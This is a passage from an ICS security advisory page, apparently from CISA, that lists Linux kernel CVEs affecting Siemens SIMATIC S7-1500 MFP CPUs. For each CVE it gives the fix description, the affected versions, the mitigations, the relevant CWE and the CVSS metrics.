we would be wrongly setting the PM_MMAP_EXCLUSIVE in the pagemap interface. Fix it by properly using ptdesc_pmd_is_shared() in hugetlb_pmd_shared().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23100">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23103</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipvlan: Make the addrs_lock be per port Make the addrs_lock be per port, not per ipvlan dev. Initial code seems to be written in the assumption, that any address change must occur under RTNL. But it is not so for the case of IPv6. So 1) Introduce per-port addrs_lock. 2) It was needed to fix places where it was forgotten to take lock (ipvlan_open/ipvlan_close) This appears to be a very minor problem though. Since it's highly unlikely that ipvlan_add_addr() will be called on 2 CPU simultaneously. But nevertheless, this could cause: 1) False-negative of ipvlan_addr_busy(): one interface iterated through all port-&gt;ipvlans + ipvlan-&gt;addrs under some ipvlan spinlock, and another added IP under its own lock. Though this is only possible for IPv6, since looks like only ipvlan_addr6_event() can be called without rtnl_lock. 2) Race since ipvlan_ht_addr_add(port) is called under different ipvlan-&gt;addrs_lock locks This should not affect performance, since add/remove IP is a rare situation and spinlock is not taken on fast paths.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23103">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/413.html">CWE-413 Improper Resource Locking</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23110</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: core: Wake up the error handler when final completions race against each other The fragile ordering between marking commands completed or failed so that the error handler only wakes when the last running command completes or times out has race conditions. These race conditions can cause the SCSI layer to fail to wake the error handler, leaving I/O through the SCSI host stuck as the error state cannot advance. First, there is an memory ordering issue within scsi_dec_host_busy(). The write which clears SCMD_STATE_INFLIGHT may be reordered with reads counting in scsi_host_busy(). While the local CPU will see its own write, reordering can allow other CPUs in scsi_dec_host_busy() or scsi_eh_inc_host_failed() to see a raised busy count, causing no CPU to see a host busy equal to the host_failed count. This race condition can be prevented with a memory barrier on the error path to force the write to be visible before counting host busy commands. Second, there is a general ordering issue with scsi_eh_inc_host_failed(). By counting busy commands before incrementing host_failed, it can race with a final command in scsi_dec_host_busy(), such that scsi_dec_host_busy() does not see host_failed incremented but scsi_eh_inc_host_failed() counts busy commands before SCMD_STATE_INFLIGHT is cleared by scsi_dec_host_busy(), resulting in neither waking the error handler task. This needs the call to scsi_host_busy() to be moved after host_failed is incremented to close the race condition.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23110">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/821.html">CWE-821 Incorrect Synchronization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23111</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fix inverted genmask check in nft_map_catchall_activate() nft_map_catchall_activate() has an inverted element activity check compared to its non-catchall counterpart nft_mapelem_activate() and compared to what is logically required. nft_map_catchall_activate() is called from the abort path to re-activate catchall map elements that were deactivated during a failed transaction. It should skip elements that are already active (they don't need re-activation) and process elements that are inactive (they need to be restored). Instead, the current code does the opposite: it skips inactive elements and processes active ones. Compare the non-catchall activate callback, which is correct: nft_mapelem_activate(): if (nft_set_elem_active(ext, iter-&gt;genmask)) return 0; /* skip active, process inactive */ With the buggy catchall version: nft_map_catchall_activate(): if (!nft_set_elem_active(ext, genmask)) continue; /* skip inactive, process active */ The consequence is that when a DELSET operation is aborted, nft_setelem_data_activate() is never called for the catchall element. For NFT_GOTO verdict elements, this means nft_data_hold() is never called to restore the chain-&gt;use reference count. Each abort cycle permanently decrements chain-&gt;use. Once chain-&gt;use reaches zero, DELCHAIN succeeds and frees the chain while catchall verdict elements still reference it, resulting in a use-after-free. This is exploitable for local privilege escalation from an unprivileged user via user namespaces + nftables on distributions that enable CONFIG_USER_NS and CONFIG_NF_TABLES. Fix by removing the negation so the check matches nft_mapelem_activate(): skip active elements, process inactive ones.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23111">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23113</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: io_uring/io-wq: check IO_WQ_BIT_EXIT inside work run loop Currently this is checked before running the pending work. Normally this is quite fine, as work items either end up blocking (which will create a new worker for other items), or they complete fairly quickly. But syzbot reports an issue where io-wq takes seemingly forever to exit, and with a bit of debugging, this turns out to be because it queues a bunch of big (2GB - 4096b) reads with a /dev/msr* file. Since this file type doesn't support -&gt;read_iter(), loop_rw_iter() ends up handling them. Each read returns 16MB of data read, which takes 20 (!!) seconds. With a bunch of these pending, processing the whole chain can take a long time. Easily longer than the syzbot uninterruptible sleep timeout of 140 seconds. This then triggers a complaint off the io-wq exit path: INFO: task syz.4.135:6326 blocked for more than 143 seconds. Not tainted syzkaller #0 Blocked by coredump. "echo 0 &gt; /proc/sys/kernel/hung_task_timeout_secs" disables this message. task:syz.4.135 state:D stack:26824 pid:6326 tgid:6324 ppid:5957 task_flags:0x400548 flags:0x00080000 Call Trace: context_switch kernel/sched/core.c:5256 [inline] __schedule+0x1139/0x6150 kernel/sched/core.c:6863 __schedule_loop kernel/sched/core.c:6945 [inline] schedule+0xe7/0x3a0 kernel/sched/core.c:6960 schedule_timeout+0x257/0x290 kernel/time/sleep_timeout.c:75 do_wait_for_common kernel/sched/completion.c:100 [inline] __wait_for_common+0x2fc/0x4e0 kernel/sched/completion.c:121 io_wq_exit_workers io_uring/io-wq.c:1328 [inline] io_wq_put_and_exit+0x271/0x8a0 io_uring/io-wq.c:1356 io_uring_clean_tctx+0x10d/0x190 io_uring/tctx.c:203 io_uring_cancel_generic+0x69c/0x9a0 io_uring/cancel.c:651 io_uring_files_cancel include/linux/io_uring.h:19 [inline] do_exit+0x2ce/0x2bd0 kernel/exit.c:911 do_group_exit+0xd3/0x2a0 kernel/exit.c:1112 get_signal+0x2671/0x26d0 kernel/signal.c:3034 arch_do_signal_or_restart+0x8f/0x7e0 arch/x86/kernel/signal.c:337 __exit_to_user_mode_loop kernel/entry/common.c:41 [inline] exit_to_user_mode_loop+0x8c/0x540 kernel/entry/common.c:75 __exit_to_user_mode_prepare include/linux/irq-entry-common.h:226 [inline] syscall_exit_to_user_mode_prepare include/linux/irq-entry-common.h:256 [inline] syscall_exit_to_user_mode_work include/linux/entry-common.h:159 [inline] syscall_exit_to_user_mode include/linux/entry-common.h:194 [inline] do_syscall_64+0x4ee/0xf80 arch/x86/entry/syscall_64.c:100 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7fa02738f749 RSP: 002b:00007fa0281ae0e8 EFLAGS: 00000246 ORIG_RAX: 00000000000000ca RAX: fffffffffffffe00 RBX: 00007fa0275e6098 RCX: 00007fa02738f749 RDX: 0000000000000000 RSI: 0000000000000080 RDI: 00007fa0275e6098 RBP: 00007fa0275e6090 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 00007fa0275e6128 R14: 00007fff14e4fcb0 R15: 00007fff14e4fd98 There's really nothing wrong here, outside of processing these reads will take a LONG time. However, we can speed up the exit by checking the IO_WQ_BIT_EXIT inside the io_worker_handle_work() loop, as syzbot will exit the ring after queueing up all of these reads. Then once the first item is processed, io-wq will simply cancel the rest. That should avoid syzbot running into this complaint again.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23113">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23154</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: fix segmentation of forwarding fraglist GRO This patch enhances GSO segment handling by properly checking the SKB_GSO_DODGY flag for frag_list GSO packets, addressing low throughput issues observed when a station accesses IPv4 servers via hotspots with an IPv6-only upstream interface. Specifically, it fixes a bug in GSO segmentation when forwarding GRO packets containing a frag_list. The function skb_segment_list cannot correctly process GRO skbs that have been converted by XLAT, since XLAT only translates the header of the head skb. Consequently, skbs in the frag_list may remain untranslated, resulting in protocol inconsistencies and reduced throughput. To address this, the patch explicitly sets the SKB_GSO_DODGY flag for GSO packets in XLAT's IPv4/IPv6 protocol translation helpers (bpf_skb_proto_4_to_6 and bpf_skb_proto_6_to_4). This marks GSO packets as potentially modified after protocol translation. As a result, GSO segmentation will avoid using skb_segment_list and instead falls back to skb_segment for packets with the SKB_GSO_DODGY flag. This ensures that only safe and fully translated frag_list packets are processed by skb_segment_list, resolving protocol inconsistencies and improving throughput when forwarding GRO packets converted by XLAT.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23154">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/237.html">CWE-237 Improper Handling of Structural Elements</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23204</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_u32: use skb_header_pointer_careful() skb_header_pointer() does not fully validate negative @offset values. Use skb_header_pointer_careful() instead. GangMin Kim provided a report and a repro fooling u32_classify(): BUG: KASAN: slab-out-of-bounds in u32_classify+0x1180/0x11b0 net/sched/cls_u32.c:221</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23204">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1285.html">CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23231</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fix use-after-free in nf_tables_addchain() nf_tables_addchain() publishes the chain to table-&gt;chains via list_add_tail_rcu() (in nft_chain_add()) before registering hooks. If nf_tables_register_hook() then fails, the error path calls nft_chain_del() (list_del_rcu()) followed by nf_tables_chain_destroy() with no RCU grace period in between. This creates two use-after-free conditions: 1) Control-plane: nf_tables_dump_chains() traverses table-&gt;chains under rcu_read_lock(). A concurrent dump can still be walking the chain when the error path frees it. 2) Packet path: for NFPROTO_INET, nf_register_net_hook() briefly installs the IPv4 hook before IPv6 registration fails. Packets entering nft_do_chain() via the transient IPv4 hook can still be dereferencing chain-&gt;blob_gen_X when the error path frees the chain. Add synchronize_rcu() between nft_chain_del() and the chain destroy so that all RCU readers -- both dump threads and in-flight packet evaluation -- have finished before the chain is freed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23231">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23242</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: RDMA/siw: Fix potential NULL pointer dereference in header processing If siw_get_hdr() returns -EINVAL before set_rx_fpdu_context(), qp-&gt;rx_fpdu can be NULL. The error path in siw_tcp_rx_data() dereferences qp-&gt;rx_fpdu-&gt;more_ddp_segs without checking, which may lead to a NULL pointer deref. Only check more_ddp_segs when rx_fpdu is present. KASAN splat: [ 101.384271] KASAN: null-ptr-deref in range [0x00000000000000c0-0x00000000000000c7] [ 101.385869] RIP: 0010:siw_tcp_rx_data+0x13ad/0x1e50</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23242">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
